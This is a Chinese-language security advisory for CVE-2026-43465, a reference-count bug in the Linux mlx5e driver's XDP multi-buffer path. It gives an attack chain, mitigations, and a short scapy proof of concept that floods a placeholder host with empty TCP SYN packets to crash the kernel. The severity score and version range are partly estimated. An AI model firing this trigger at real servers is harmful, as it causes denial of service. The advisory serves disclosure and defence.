IPBUF安全漏洞报告
English
CVE-2026-43465 CVSS 9.8 严重

Linux内核mlx5e驱动XDP多缓冲区引用计数漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43465
漏洞类型
内存破坏 / 拒绝服务
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelXDPDoSMemory Corruptionmlx5eReference Counting

漏洞概述

Linux内核中的mlx5e以太网驱动存在一个严重的安全漏洞。该问题涉及XDP(eXpress Data Path)多缓冲区处理机制,特别是在跨步接收队列(Striding RQ)场景下。当XDP程序调用`bpf_xdp_pull_data()`修改缓冲区布局时,驱动未能正确计算被丢弃的页面片段引用计数。这会导致页面引用计数变为负数,进而引发内核警告或系统崩溃。

技术细节

该漏洞位于Linux内核网络子系统的mlx5e驱动中,主要影响`mlx5e_skb_from_cqe_mpwrq_nonlinear`函数。在处理跨步RQ的非线性XDP数据包时,驱动假设XDP缓冲区布局不变。然而,当XDP程序调用`bpf_xdp_pull_data()`将头部移至线性部分时,若尾部无有效载荷则会被丢弃,此时`page_pool`的引用计数递减。但驱动端的内部片段计数器未更新,仍认为需要释放原始数量的片段。最终,驱动尝试释放的片段数超过实际引用计数,导致负引用计数错误。这会触发`mlx5e_page_release_fragmented`中的WARNING,导致内核恐慌、内存破坏或拒绝服务。该漏洞影响XDP_TX、XDP_REDIRECT及XDP_PASS路径。

攻击链分析

STEP 1
步骤1:环境准备
目标服务器运行受影响的Linux内核版本,并启用了mlx5e网卡驱动。管理员或攻击者已在接口上加载了一个调用bpf_xdp_pull_data的XDP程序。
STEP 2
步骤2:发送特制数据包
攻击者向目标服务器发送特制的网络数据包(例如无有效载荷的TCP包)。
STEP 3
步骤3:触发XDP处理
网卡接收数据包并进入XDP处理层。XDP程序执行并调用bpf_xdp_pull_data,导致数据包尾部片段被丢弃,但驱动未正确更新引用计数。
STEP 4
步骤4:内存破坏与崩溃
驱动尝试释放页面池中的页面,由于引用计数不匹配(释放数大于引用数),触发负引用计数错误,导致内核警告或系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-43465 Description: Sends a crafted packet with no payload to trigger the ref counting bug. Note: The target must have an XDP program loaded that calls bpf_xdp_pull_data(). """ from scapy.all import sendp, Ether, IP, TCP, Raw import sys def send_exploit(): # Target configuration target_ip = "192.168.1.100" # Replace with target IP iface = "eth0" # Replace with outgoing interface dst_mac = "00:11:22:33:44:55" # Replace with target MAC # Construct a packet with no payload to trigger the tail drop logic # When the XDP program calls bpf_xdp_pull_data on an empty tail, # the driver drops the frag but fails to account for it correctly. pkt = Ether(dst=dst_mac) / IP(dst=target_ip) / TCP(dport=80, flags="S") print(f"[*] Sending trigger packet to {target_ip}...") sendp(pkt, iface=iface, count=10, verbose=0) print("[+] Packets sent. Check dmesg for kernel warnings.") if __name__ == "__main__": send_exploit()

影响范围

Linux Kernel < 6.18 (预估)
Linux Kernel (包含受影响commit的版本)

防御指南

临时缓解措施
建议用户尽快应用官方提供的补丁。在补丁应用前,可以通过卸载相关的XDP程序或禁用XDP卸载功能来缓解风险,避免触发导致内核崩溃的代码路径。

参考链接